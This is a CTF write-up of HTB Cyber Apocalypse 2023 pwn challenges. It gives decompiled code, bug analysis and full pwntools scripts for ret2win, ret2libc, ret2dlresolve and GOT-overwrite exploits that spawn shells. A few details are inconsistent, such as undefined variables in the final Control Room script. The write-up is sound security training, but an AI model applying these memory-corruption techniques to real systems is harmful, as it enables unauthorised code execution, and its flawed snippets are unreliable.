CTF WriteUp: HTB CA 2023

front.jpg

I participated in a HTB CyberApocalypse CTF 2023 competition this CTF had several category cybersecurity challenges e.g. pwn, cryptography, reverse engineering, Hardware, forensic, crypto , blockchain and ML. It was an intense and exhilarating experience, and I’m excited to share my write-up of the challenges i solved and how i approached them.

Although i am too late for this write-up as i am good in prolonging things ;) but Better late than never, as i am trying to be good at pwn my first approach is to solve pwn challenges and then rev but i tried to solve some other remaining categories challenge as well.

All challenges can be found here

PWN

GettingStarted

getting_started

like name like challenge nothing but just variable overwriting, by sending the random input until we overwrite the target variable .

getting_started

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import re, os

elf = context.binary = ELF('./gs')

#p = remote('46.101.73.55',32078)
p = process()

offset = 100
payload = cyclic(offset)

p.sendline(payload)
content = p.recvall()
flag = re.findall(r'HTB\{.*\}', str(content))
os.system('clear')
print("\nflag ",flag[0])
#p.interactive()


Questionnaire

Questionnaire

it was simple ret2win challenge, had to call function name gg overwriting the RIP of vuln function.

1
2
3
4
5
6
7
void gg(void)

{
system("cat flag.txt");
return;
}

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

elf = context.binary = ELF('./pwn')

p = process()
#p = remote('209.97.134.50',32698)
offset = 40
ret = 0x00000000004004ce
gg = 0x00000000004004ce

payload = cyclic(offset) + pack(ret) + pack(gg)

p.sendline(payload)
p.interactive()

qutionnaire_op

Labyrinth

labyrinth

almost same as previous challenge (Questionnaire) with extra fancy things.
lets debug the binary’s main function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 1  undefined8 main(void)
2
3 {
4 int iVar1;
5 undefined8 local_38;
6 undefined8 local_30;
7 undefined8 local_28;
8 undefined8 local_20;
9 char *local_18;
10 ulong local_10;
11
12 setup();
13 banner();
14 local_38 = 0;
15 local_30 = 0;
16 local_28 = 0;
17 local_20 = 0;
18 fwrite("\nSelect door: \n\n",1,0x10,stdout);
19 for (local_10 = 1; local_10 < 0x65; local_10 = local_10 + 1) {
20 if (local_10 < 10) {
21 fprintf(stdout,"Door: 00%d ",local_10);
22 }
23 else {
24 if (local_10 < 100) {
25 fprintf(stdout,"Door: 0%d ",local_10);
26 }
27 else {
28 fprintf(stdout,"Door: %d ",local_10);
29 }
30 }
31 if ((local_10 % 10 == 0) && (local_10 != 0)) {
32 putchar(10);
33 }
34 }
35 fwrite(&DAT_0040248f,1,4,stdout);
36 local_18 = (char *)malloc(0x10);
37 fgets(local_18,5,stdin);
38 iVar1 = strncmp(local_18,"69",2);
39 if (iVar1 != 0) {
40 iVar1 = strncmp(local_18,"069",3);
41 if (iVar1 != 0) goto LAB_004015da;
42 }
43 fwrite("\nYou are heading to open the door but you suddenly see something on the wall:\n\n\"Fly like a bird and be free!\"\n\nWould you like to change the door you chose?\n\n>> "
44 ,1,0xa0,stdout);
45 fgets((char *)&local_38,0x44,stdin);
46 LAB_004015da:
47 fprintf(stdout,"\n%s[-] YOU FAILED TO ESCAPE!\n\n",&DAT_00402541);
48 return 0;
49 }

at line number 38 variable local_18 that is user input being compared by 69 and if it is equal 69 call the fwrite function that is printing some message and at line number 45, fgets function being called but as you can see there is catch over there

The variable local_38 is declared as an undefined8 type, which is an 8-byte (64-bit) variable. However, in the fgets() function call, the size argument 0x44 (hexadecimal 44, decimal 68) specifies that fgets() should read up to 68 bytes from stdin and store them in the memory location starting at &local_38.

Since local_38 is only 8 bytes long, and fgets() can read up to 68 bytes, this means that fgets() can write up to 60 bytes beyond the end of local_38. This can lead to a buffer overflow, which can cause undefined behavior, including crashing the program, overwriting other variables, and executing arbitrary code.

so now we just have to find the offset of RIP and overwrite with some evil function if we have any, and yeah we have this binary contain never called function escape_plan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void escape_plan(void)

{
ssize_t sVar1;
char local_d;
int local_c;

putchar(10);
fwrite(&DAT_00402018,1,0x1f0,stdout);
fprintf(stdout,
"\n%sCongratulations on escaping! Here is a sacred spell to help you continue your journey: %s\n"
,&DAT_0040220e,&DAT_00402209);
local_c = open("./flag.txt",0);
if (local_c < 0) {
perror("\nError opening flag.txt, please contact an Administrator.\n\n");
/* WARNING: Subroutine does not return */
exit(1);
}
while( true ) {
sVar1 = read(local_c,&local_d,1);
if (sVar1 < 1) break;
fputc((int)local_d,stdout);
}
close(local_c);
return;
}

that print the flag so this is our target function, so lets write the exploit.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

elf = context.binary = ELF('./labyrinth', checksec=False)
context.log_level = 'debug'

io = process()
#io = remote('46.101.73.33',30473)

payload = cyclic(56) + pack(0x0000000000401016) + pack(0x0000000000401255)

io.sendline('69')
io.sendline(payload)
io.interactive()

labyrinth_op

Pandora Box

pandora_box

binary ask to choose the option, opening the box cause binary to exit and choosing second option prompt us to Insert location of the library, might be ret2libc attack where we have to have the address of libc function like system if this binary has buffer overflow okay okay lets just not make assumption for now, ask to ghidra.

pandora_box

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
1  void box(void)
2
3 {
4 undefined8 local_38;
5 undefined8 local_30;
6 undefined8 local_28;
7 undefined8 local_20;
8 long local_10;
9
10 local_38 = 0;
11 local_30 = 0;
12 local_28 = 0;
13 local_20 = 0;
14 fwrite("This is one of Pandora\'s mythical boxes!\n\nWill you open it or Return it to the Library for analysis?\n\n1. Open.\n2. Return.\n\n>> "
15 ,1,0x7e,stdout);
16 local_10 = read_num();
17 if (local_10 != 2) {
18 fprintf(stdout,"%s\nWHAT HAVE YOU DONE?! WE ARE DOOMED!\n\n",&DAT_004021c7);
19 /* WARNING: Subroutine does not return */
20 exit(0x520);
21 }
22 fwrite("\nInsert location of the library: ",1,0x21,stdout);
23 fgets((char *)&local_38,0x100,stdin);
24 fwrite("\nWe will deliver the mythical box to the Library for analysis, thank you!\n\n",1,0x4b,
25 stdout);
26 return;
27 }

hmm everything looks good until we reach the line number 23, same as previous challenge local_38 is undefined variable that is 8 byte , However fgets() function’s size argument is 0x100, 256 in decimal and again we got BOF.

but in case of this binary we do not have any evil/win function to redirect the execution flow directly by overwriting the RIP with. that means WE could perform ret2libc or ret2shell but as we have NX enabled in this binary uploading the shell on the stack is not possible

pb_checksec

As for the ret2libc YES thumbs up!

Requirement for ret2libc

  • libc base address
  • system address (we would already have after leaking libc anyway)
  • /bin/sh address
  • we have been given libc so need to worry about libc verison

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

elf = ELF('./pb')
libc = elf.libc

if args.REMOTE:
p = remote('165.232.98.59', 32729)
else:
p = process(elf.path)

def get_overflow():
print(p.recvuntil('>>').decode('utf-8'))
p.sendline("2")
print(p.recvuntil(': ').decode('utf-8'))

def leak_libc():
payload= b"A" * 56 # paddding
payload+= p64(0x40142b) # pop rdi
payload+= p64(0x403fa0) # got_put
payload+= p64(0x401030) # plt_put
payload+= p64(0x4012c2) # adress of box function

p.sendline(payload)
p.recvuntil(b'thank you!\n\n')
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
return leak


with log.progress("Step 1: Leak libc address, print the address of puts"):
get_overflow()
leak = leak_libc()
log.info("Leaked puts: " + str(hex(leak)))
libc.address = leak - 0x80ed0 #libc.symbols['puts']

with log.progress("Step 2: use onegadget to get shell"):
get_overflow()

system = libc.sym.system
bin_sh = libc.search(b"/bin/sh").__next__()

payload=b"A"*56
payload+=p64(0x401016) # ret
payload+=p64(0x40142b) # pop rdi
payload+= p64(bin_sh)
payload+= p64(system)

p.sendline(payload)
p.interactive()

pd_op

Void

void

Description : The room goes dark and all you can see is a damaged terminal. Hack into it to restore the power and find your way out.

this challenge made me scratch my head, but after getting some nudges from someone on discord i blamed by myself to being a lazy skipping the hands on and just having oral look up while learning new things.

binary doesn’t output any thing just take user input and goes dark, lets see on ghidra

1
2
3
4
5
6
7
8
void vuln(void)

{
undefined local_48 [64];

read(0,local_48,200);
return;
}

Method 1

that i come across

so binary only have main and vuln function to our interest vuln have buffer overflow vuln as read function is taking more than it suppose to, okay but all good here till now i though it would same as previous one we would have to perform libc2libc technique

but when i started debugging binary to see which function is being call/used from libc so that i can leak address and calculate base of libc

void_got

there are not any, except read and despite i knew that i cant leak with read function i tried to search any previous challenges or writeup to see if in case there is any way to leak libc from read function only but no use

SO ret2libc with ret2csu ?

no, although we have gadgets we are require to have libc function i.e. puts, printf here also, so we cant either ret2libc or chain ret2csu + ret2libc

as i knew i could solve the challenge just needed hint to solve the challenge hint like technique we can use to solve this cahllenge i seek for help where i am reminded ret2dlresolve technique.

The ret2dlresolve technique leverages the dynamic linker/loader functionality of a program to execute arbitrary code. and is typically employed when the program does not contain any useful functions like puts or printf in our case or gadgets that can be used to achieve code execution.

named “ret2dlresolve” as it involves overwriting the return address on the stack to point to a “resolve” function in the dynamic linker (usually __dl_resolve) rather than returning to the original calling function. The __dl_resolve function is responsible for resolving and loading shared library dependencies at runtime.

so basially During a ret2dlresolve, we tricks the binary into resolving a function of our choice (such as system) into the PLT. This means we can use the PLT function as if it was originally part of the binary, bypassing ASLR (if present) and requiring no libc leaks.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

for i in range(1, 100):
try:
context.arch = "amd64"
elf = context.binary = ELF('./void', checksec=False)
p = elf.process()

#p = remote('104.248.169.177',31673)

rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 72)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in

p.interactive()
except:
p.close()


void_op

check sources below if you wish to dive more deep

Sources :

https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-di-frederico.pdf
https://kileak.github.io/ctf/2018/0ctf-qual-babystack/
https://www.youtube.com/watch?v=6wmyaYP5WkA
https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve

Method 2

later i got to know the another way to solve this challenge from writeup after end of CTF
it is cool and efficient way exploit binary (atleast for me) lets understand how.

while searching for gadgets there are some interesting gadgets that we can leverage to exploit binary

1
2
3
4
0x00401108: add [rbp-0x3d], ebx; nop [rax+rax]; ret;
........
........
0x004011b2: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;

use ropr by Ben-Lichtman as i was having problem to get these gadgets with ropper and ROPgadget i don’t why?

The instruction “add [rbp-0x3d], ebx” performs an addition operation between the value in the register “ebx” and the value at the memory address pointed to by the register “rbp” minus 0x3d (61 in decimal).

In other words, this instruction adds the value in “ebx” to the value stored at the address “rbp-0x3d” in memory. The result is then stored back at the same memory address.

“nop [rax+rax]” - This instruction is a no-operation (nop), which means it does nothing.
so it wont bother us.

if we manage control the rbp-0x3d memory location and ebx register we can write any target function at rbp-0x3d memory location with ebx register, for that we have need gadgets to control the rbp and rbx register and we have got see above codeblock.

so what we will be doing is first off, parse the read@got addr to rbp register with adding 0x3d extra byte so that we can get exact addr of read@got (rbp-0x3d) + 0x3d) and then parse the target address to rbx register. YES we are doing GOT overwrite here, since we would have overwritten read@got addr on got table calling read func next time will jump to the target address we overwritten. 😉

since the addresses of the functions in the GOT table are fixed as we PIE disabled here, hence we know the exact address of the function we want to overwrite in the GOT table. In PIE-enabled binaries, the addresses of the functions in the GOT table are randomized at runtime, making it much more difficult to know the exact address of the function to overwrite.

and target address we are going to overwrite read@got with is one_gadget

void_one_gadget

we have to Keep an eye on constraints of one_gadget address as we have already control on
r12 and r13 register

1
0x004011b2: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;

we do not need to bother of value being changed

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

elf = context.binary = ELF("./void")
libc = elf.libc

p = process()
#p = remote()

pop_rsi_r15 = 0x00000000004011b9
add_gadget = 0x0000000000401108 # add [rbp-0x3d], ebx; nop [rax+rax]; ret;
pop_rbx_rbp_r12_r13_r14_r15 = 0x004011b2

read_plt = elf.plt['read']
read_got = elf.got['read']

payload = cyclic(72)
payload += p64(pop_rbx_rbp_r12_r13_r14_r15) + p64(0xfffdce9a) + p64(read_got+0x3d) + p64(0)*4
payload += p64(add_gadget)
payload += p64(read_plt)

p.sendline(payload)
p.interactive()

here 0xfffdce9a is negative representation of one_gagdget offet as we are using add gadget so if we want to decrease to reach read GOT we have to add with negative value
same as 0xc961a - libc.sym[‘read’]

void_op2

Control Room

control_room

couldn’t solve this challenge at competition time. However, after reading wirteup found so interesting that couldn’t stop me to write own one.

Writeup : https://chovid99.github.io/posts/cyber-apocalypse-2023-pwn/#control-room

binary has several of function with full of bugs that need to be chain together to gain shell, we have to analyze it sequentially

lets run the binary and have static look

control_room_patch

make sure to patch the binary first

control_room_menu

asking for username registration, confirmation and have roles and function accordingly and current role is set to Crew

control_room_menu2

if we want to change the username binary ask for new username size that can’t be larger than the current username and also cant choose any option as it require role to technician and captain accordingly.

Lets see what Ghidra says

main function :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

undefined8 main(void)

{
int iVar1;
size_t sVar2;
long in_FS_OFFSET;
undefined4 local_14;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
setup();
local_14 = 0;
user_register();
printf("\nAre you sure about your username choice? (y/n)");
printf("\n> ");
fgets((char *)&local_14,4,stdin);
sVar2 = strcspn((char *)&local_14,"\n");
*(undefined *)((long)&local_14 + sVar2) = 0;
iVar1 = strcmp((char *)&local_14,"y");
if (iVar1 == 0) {
log_message(0,"User registered successfully.\n");
}
else {
user_edit();
}
menu();
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}

in main first setup and user_register being called and then if user choice is “n” user_edit function and finally menu function , let analyse one by one

setup function :

1
2
3
4
5
6
7
8
9
10
11
void setup(void)

{
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
read_banner();
memset(engines,0,0x80);
curr_user = malloc(0x110);
*(undefined4 *)((long)curr_user + 0x100) = 2;
return;
}

The engines array is initialized to all 0’s, with a length of 0x80 (128 bytes).
Next, a block of memory is allocated with the malloc() function, with a size of 0x110 (272 bytes). The address of the allocated block is stored in the curr_user pointer.

the value 2 is stored in the allocated block of memory, starting at an offset of 0x100.

Overall, this code sets up some basic memory and I/O configurations for a program, and allocates a block of memory for storing some user data.

user_register function :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void user_register(void)

{
size_t sVar1;
long in_FS_OFFSET;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("<===[ Register ]===>\n");
printf("Enter a username: ");
read_input(&local_118,0x100);
strncpy(curr_user,(char *)&local_118,0x100);
sVar1 = strlen(curr_user);
*(size_t *)(curr_user + 0x108) = sVar1 + 1;
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

this function read the given username and store it to address pointed by local_188 vairable which is of 0x100(256) size and then username is being copied to global username curr_user as well as as length of the username string plus one at an offset of 0x108 bytes from the start of the curr_user buffer

user_edit function :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void user_edit(void)

{
int user_length;
char *buf;
size_t idx;

puts("<===[ Edit Username ]===>\n");
printf("New username size: ");
user_length = read_num();
getchar();
if (*(ulong *)(curr_user + 0x108) < (ulong)(long)user_length) {
log_message(3,"Can\'t be larger than the current username.\n");
}
else {
buf = (char *)malloc((long)(user_length + 1));
if (buf == (char *)0x0) {
log_message(3,"Please replace the memory catridge.");
/* WARNING: Subroutine does not return */
exit(-1);
}
memset(buf,0,(long)(user_length + 1));
printf("\nEnter your new username: ");
fgets(buf,user_length,stdin);
idx = strcspn(buf,"\n");
buf[idx] = '\0';
strncpy(curr_user,buf,(long)(user_length + 1));
log_message(0,"User updated successfully!\n");
free(buf);
}
return;
}

function user_edit is responsible for allowing a user to edit their username.

working of this funciton :

  • initially it ask for size of new username that being stored in user_length variable by read_num function
  • condition to verify user_length cant be larger than current username(as you can see “curr_user + 0x108” is lenght of curr_user itself i.e. current username)
  • allocate block of memory(user_length+1) to char array buf
  • and then memset functionset “user_length + 1” bytes of memory starting from the address pointed to by “buf” to zero.

we have Off By One bug in this block of code, if you see at if condition it only check user_length shouldn’t be greater than curr_user but can be equal i.e. 0x100(256).
as curr_user size is 0x100 itself while setting the “user_length + 1” number of zero’s to buf at memset function it is going to set 257 byte of null, which mean it will write one null byte beyond the curr_user username that allows us to switch our role from Crew to Captain lets see how

menu function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void menu(void)

{
uint uVar1;

do {
print_banner();
print_current_role();
uVar1 = read_option(5);
printf("selection: %d\n",(ulong)uVar1);
switch(uVar1) {
default:
log_message(3,"Invalid option\n");
/* WARNING: Subroutine does not return */
exit(-1);
case 1:
configure_engine();
break;
case 2:
check_engines();
break;
case 3:
change_route();
break;
case 4:
view_route();
break;
case 5:
change_role();
}
} while( true );
}

inside menu function we do have other function lets jump to print_current_role first

print_current_role function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void print_current_role(void)

{
int iVar1;

iVar1 = *(int *)(curr_user + 0x100);
if (iVar1 == 2) {
log_message(1,"Current Role: Crew\n");
}
else {
if (2 < iVar1) {
LAB_00401fd1:
log_message(3,"How did you get here?!\n");
/* WARNING: Subroutine does not return */
exit(0x539);
}
if (iVar1 == 0) {
log_message(1,"Current Role: Captain\n");
}
else {
if (iVar1 != 1) goto LAB_00401fd1;
log_message(1,"Current Role: Technician\n");
}
}
return;
}

function first reads the value of the “curr_user” global variable at offset 0x100, so if you remember in function setup “curr_user + 0x100” is assigned to 2.
It then uses a series of if/else statements to determine the user’s role based on the value of this integer.

If the integer value is equal to 2, the function logs a message indicating that the user’s current role is “Crew”. If the integer value is equal to 0, the function logs a message indicating that the user’s current role is “Captain”. If the integer value is equal to 1, the function logs a message indicating that the user’s current role is “Technician”.

so if “curr+user + 0x100” is

  • 0 => Captain
  • 1 => Technician
  • 2 => Crew - current role

Using Off-ByOne write we can set “curr_user + 0x100” to 0 i.e. Captain

Configure_engine function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
void configure_engine(void)

{
uint num;
int iVar1;
size_t sVar2;
long in_FS_OFFSET;
undefined8 local_28;
undefined8 local_20;
undefined2 local_13;
undefined local_11;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_13 = 0;
local_11 = 0;
if (*(int *)(curr_user + 0x100) == 1) {
printf("\nEngine number [0-%d]: ",3);
num = read_num();
if ((int)num < 4) {
printf("Engine [%d]: \n",(ulong)num);
printf("\tThrust: ");
__isoc99_scanf(&DAT_0040330e,&local_28);
printf("\tMixture ratio: ");
__isoc99_scanf(&DAT_0040330e,&local_20);
}
getchar();
printf("\nDo you want to save the configuration? (y/n) ");
printf("\n> ");
fgets((char *)&local_13,3,stdin);
sVar2 = strcspn((char *)&local_13,"\n");
*(undefined *)((long)&local_13 + sVar2) = 0;
iVar1 = strcmp((char *)&local_13,"y");
if (iVar1 == 0) {
*(undefined8 *)(engines + (long)(int)num * 0x10) = local_28;
*(undefined8 *)(engines + (long)(int)num * 0x10 + 8) = local_20;
log_message(0,"Engine configuration updated successfully!\n");
}
else {
log_message(1,"Engine configuration cancelled.\n");
}
}
else {
log_message(3,"Only technicians are allowed to configure the engines");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

as this function about engine we need to switch Technician role,
the undefined8 data type used for local_28 and local_20 can hold both signed and unsigned values, as it is an undefined data type that represents an 8-byte (64-bit) value whose purpose or contents are unknown or undefined, resulting in an out-of-bounds write (precisely, buffer underflow write if i am not wrong) to the address preceding the engines.

check_engine function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

void check_engines(void)

{
int local_c;

if (*(int *)(curr_user + 0x100) == 1) {
puts("[===< Engine Check >===]");
for (local_c = 0; local_c < 4; local_c = local_c + 1) {
if ((100 < *(long *)(engines + (long)local_c * 0x10)) ||
(100 < *(long *)(engines + (long)local_c * 0x10 + 8))) {
log_message(3,"Faulty configuration found.\n");
return;
}
log_message(0,"All engines are configured correctly.\n");
}
}
else {
log_message(3,"Only technicians are allowed to check the engines.\n");
}
return;
}

this function seems to bug free

change_route function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
void change_route(void)

{
int iVar1;
size_t sVar2;
long in_FS_OFFSET;
int i;
undefined8 local_58 [4];
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined2 local_13;
undefined local_11;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_13 = 0;
local_11 = 0;
if (*(int *)(curr_user + 0x100) == 0) {
for (i = 0; i < 4; i = i + 1) {
printf("<===[ Coordinates [%d] ]===>\n",(ulong)(i + 1));
printf("\tLatitude : ");
__isoc99_scanf(&DAT_0040330e,local_58 + (long)i * 2);
printf("\tLongitude : ");
__isoc99_scanf(&DAT_0040330e);
}
getchar();
printf("\nDo you want to save the route? (y/n) ");
printf("\n> ");
fgets((char *)&local_13,3,stdin);
sVar2 = strcspn((char *)&local_13,"\n");
*(undefined *)((long)&local_13 + sVar2) = 0;
iVar1 = strcmp((char *)&local_13,"y");
if (iVar1 == 0) {
route._0_8_ = local_58[0];
route._8_8_ = local_58[1];
route._16_8_ = local_58[2];
route._24_8_ = local_58[3];
route._32_8_ = local_38;
route._40_8_ = local_30;
route._48_8_ = local_28;
route._56_8_ = local_20;
log_message(0,"The route has been successfully updated!\n");
}
else {
log_message(1,"Operation cancelled");
}
}
else {
log_message(3,"Only the captain is allowed to change the ship\'s route\n");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

Only accessible by Captain.
This function contains two errors. The first issue is with how it scans input values. If an invalid input is entered while calling __isoc99_scanf(&DAT_0040330e,local_58 + (long)i * 2); and __isoc99_scanf(&DAT_0040330e); (such as entering a non-numeric character), the scanf function will skip and move to the next line of code. The second problem is that there is no error handling mechanism in place to deal with failed scans, which means that even if the scanf fails, the function will still copy the value stored in the stack to the route variable.

it is apparent that there is no procedure in place to remove the data from the stack prior to its utilization. This, in combination with the absence of a mechanism to handle failures in the scanf operation, means that it is feasible for the route value to be assigned with data from the stack. If we happen to be fortunate, this could contain some confidential information that must not be disclosed, such as a libc address. This kind of bug is called UDA (Uninitialied Data Access).

view_route function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void view_route(void)

{
int i;

if (*(int *)(curr_user + 0x100) == 0) {
puts("<===[ Route ]===>");
for (i = 0; i < 4; i = i + 1) {
print_coordinates(i);
}
}
else {
log_message(3,"Only the captain is allowed to view the ship\'s route.\n");
}
return;
}

printing the all route value stored in the stack to the route variable in previous function.

change_role function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void change_role(void)

{
int iVar1;

if (*(int *)(curr_user + 0x100) == 0) {
puts("<===[ Available roles ]===>");
puts("Technician: 1 | Crew: 2");
printf("New role: ");
iVar1 = read_num();
if ((iVar1 == 1) || (iVar1 == 0)) {
*(int *)(curr_user + 0x100) = iVar1;
log_message(0,"New role has been set successfully!");
}
else {
log_message(3,"Invalid role.");
}
}
else {
log_message(3,"Only Captain is allowed to change roles.\n");
}
return;
}

Only accessible if (curr_user + 0x100) == 0) i.e Captain, Used to set new role.

All in once :

  1. Off-By-One : We analyzed the user_edit function where we can manage to change the role to 0 i.e. Captain thus we would have changed our role to Captain 0 before menu function
  2. Out-Of-Bound: bug in configure_engine where we can OOB Write for addresses before the address of engine
  3. Uninitialised Data Access: bug in change_route possibly get the leak of libc in view_route function.

Exploitation strategies :

  • Need to leak libc using UDA bug in change_route function where will somehow pass the scanf function anticipating to we’ll get addr from libc
  • Calculate the base address of libc with leaked address
  • overwrite the GOT of leakd libc func to system function from libc using OOB write bug on configure_engine
  • pass the “sh” argument and gain the shell

Leaking the libc address

control_room_libc-leak.png1

verifying this address by converting into hex we indeed able to leak libc address we can confirm it using gdb using

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

elf = "./control_room"
elf = context.binary = ELF(elf, checksec=False)
context.log_level = 'info'

libc = ELF("./libc.so.6")
# ld = ELF("./ld-linux-x86-64.so.2")

gdbscript = '''
'''

def conn():
if args.LOCAL:
p = process([elf.path])
if args.PLT_DEBUG:
gdb.attach(p, gdbscript=gdbscript)
pause()
else:
p = remote(remote_url, remote_port)

return p

p = conn()

# Trigger the off-by-one bug
p.send(b'a'*0x100)
p.sendline(b'n')
p.send(b'256')
p.send(b'a'*0x100)

# Leak stack UDA, which contains libc address
p.sendline(b'3')
p.sendline(b'ay')

p.sendline(b'4')

p.interactive()

control_room_libc-leak2

addr from Coordinates 1 Longitude point to libc function atoi+20

1
2
pwndbg> x 140611594499668
0x7fe2b0243654 <atoi+20>: 0x08c48348

so calculate the libc base we have to subtract it to libc.symbols.atoi+20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

elf = "./control_room"
elf = context.binary = ELF(elf, checksec=False)
context.log_level = 'info'

libc = ELF("./libc.so.6")
# ld = ELF("./ld-linux-x86-64.so.2")

gdbscript = '''
'''

def conn():
if args.LOCAL:
p = process([elf.path])
if args.PLT_DEBUG:
gdb.attach(p, gdbscript=gdbscript)
pause()
else:
p = remote(remote_url, remote_port)

return p

p = conn()

# Trigger the off-by-one bug
p.send(b'a'*0x100)
p.sendline(b'n')
p.send(b'256')
p.send(b'a'*0x100)

# Leak stack UDA, which contains libc address
p.sendline(b'3')
p.sendline(b'ay')

p.sendline(b'4')
p.recvuntil(b'Latitude : ')
p.recvuntil(b'Latitude : ')
p.recvuntil(b'Latitude : ')
p.recvuntil(b'Latitude : ')
p.recvuntil(b'Latitude : ')
p.recvuntil(b'Longitude : ')

leaked_libc = int(p.recvline().strip())
log.info(f'leaked_libc : {hex(leaked_libc)}')
libc.address = leaked_libc - (libc.symbols.atoi+20)
log.info(f'libc base = {hex(libc.address)}')

# Got Shell?
p.interactive()

control_room_libc-leak

Gaining Shell

now we have libc base all we need to do is overwrite the GOT atoi with system
using OOB write bug on configure_engine.

Note :

  • We have to calculate the negative index value to find the correct offset to point to the atoi address in configure_engine func
  • The purpose of including the value “0x401150” is to prevent our program from crashing. This is because during the configuration of the engine, we are required to write two entries, but we only need one to overwrite “atoi” with “system”. Therefore, we need to ensure that the second value we provide will not cause the program to crash.

Final Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

exe = ELF("./control_room")
libc = ELF("./libc.so.6")
#ld = ELF("./ld-2.35.so")

context.binary = exe
context.log_level = 'info'

gdbscript = '''
'''

def conn():
if args.LOCAL:
r = process([exe.path])
if args.PLT_DEBUG:
gdb.attach(r, gdbscript=gdbscript)
pause()
else:
r = remote(remote_url, remote_port)

return r

r = conn()

def configure_engine(idx, v1, v2):
r.sendline(b'1') # configure Engine
r.sendline(str(idx).encode())
if not is_printf:
r.sendline(str(v1).encode())
r.sendline(str(v2).encode())

r.sendline(b'y')

# Trigger the off-by-one bug
r.send(b'a'*0x100)
r.sendline(b'n')
r.send(b'256')
r.send(b'a'*0x100)

# Leak stack UDA, which contains libc address
r.sendline(b'3')
r.sendline(b'ay')

r.sendline(b'4')
r.recvuntil(b'Latitude : ')
r.recvuntil(b'Latitude : ')
r.recvuntil(b'Latitude : ')
r.recvuntil(b'Latitude : ')
r.recvuntil(b'Latitude : ')
r.recvuntil(b'Longitude : ')

leaked_libc = int(r.recvline().strip())
log.info(f'leaked_libc : {hex(leaked_libc)}')
libc.address = leaked_libc - (libc.symbols.atoi+20)
log.info(f'libc base = {hex(libc.address)}')

# Change role to technician
r.sendline(b'5')
r.sendline(b'1')
engines_addr = 0x405120

# Change atoi to system

configure_engine((exe.got['atoi']-engines_addr) // 0x10, libc.symbols.system, 0x401150)
